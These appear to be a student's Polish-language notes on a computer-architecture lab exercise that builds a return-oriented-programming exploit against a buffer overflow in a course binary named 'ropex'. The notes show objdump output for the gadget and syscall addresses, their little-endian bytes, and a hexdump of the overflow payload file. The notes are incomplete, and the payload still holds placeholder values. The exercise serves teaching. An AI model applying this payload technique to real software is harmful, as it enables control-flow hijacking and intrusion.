

**Zadanie 4.** Przeprowadź na swoim komputerze atak na program «ropex» wykorzystując podatność **przepełnienia bufora** w procedurze «echo». Posłuż się techniką **ROP** (ang. *return oriented programming*). Wyznacz adresy **gadżetów**, tj. procedury «gadget» oraz dowolnej instrukcji «syscall» w pliku «ropex». Wpisz je, w porządku *little-endian*, do pliku «ropex.in.txt» na pozycji 0x38 i 0x40, po czym przetłumacz go do postaci binarnej. Następnie uruchom polecenie «ropex ropex.in», aby zobaczyć rezultat wykonania programu «nyancat»<sup>3</sup>. Przy pomocy gdb zaprezentuj zawartość stosu przed i po wykonaniu procedury «gets». Pokaż, że procesor wykonując instrukcję «ret» skacze pod przygotowane przez Ciebie adresy.

**Wskazówka:** Wykaz poleceń i odnośnik do samouczka gdb podano na stronie przedmiotu w SKOS.

In this technique, an attacker gains control of the [call stack](#) to hijack program [control flow](#) and then executes carefully chosen [machine instruction](#) sequences that are already present in the machine's memory, called "gadgets".<sup>[4][nb 1]</sup> Each gadget typically ends in a [return instruction](#) and is located in a [subroutine](#) within the existing program and/or shared library code.<sup>[nb 1]</sup> Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

ROP + gadżety

**Przepełnienie bufora** (ang. *buffer overflow*) – [błąd programistyczny](#) polegający na zapisaniu do wyznaczonego obszaru pamięci ([bufora](#)) większej ilości danych niż zarezerwował na ten cel programista. Taka sytuacja prowadzi do zamazania danych znajdujących się w pamięci bezpośrednio za buforem, a w rezultacie do błędnego działania programu. Gdy dane, które wpisywane są do bufora,

gadget at 0x401d7b

```
0000000000401d7b <gadget>:
401d7b: 48 ff c8          dec    %rax
401d7e: 48 89 d6          mov    %rdx,%rsi
401d81: 48 89 fa          mov    %rdi,%rdx
401d84: 48 8d 7c 24 10    lea    0x10(%rsp),%rdi
401d89: c3               ret
401d8a: 66 0f 1f 44 00 00 nopw   0x0(%rax,%rax,1)
```

objdump -d ropex | grep -A[...]

```
0000000000478c50 <__setitimer>:
478c50: b8 26 00 00 00    mov    $0x26,%eax
478c55: 0f 05             syscall
```

↑ tu jest jakiś

gadget → 7b 1d 40

syscall → 55 8c 47

```
mLuczynski@mLuczynski:~/Desktop/studia/ask/Lista 9/lista_9$ cat ropex.in.txt
00000000: dead c0de dead c0de dead c0de dead c0de .....
00000010: dead c0de dead c0de dead c0de dead c0de .....
00000020: dead c0de dead c0de dead c0de dead c0de .....
00000030: dead c0de dead c0de baad f00d 0000 0000 .....
00000040: baad f00d 0000 0000 0000 0000 0000 0000 .....
00000050: 2f75 7372 2f62 696e 2f6e 7961 6e63 6174 /usr/bin/nyancat
00000060: 000a
```

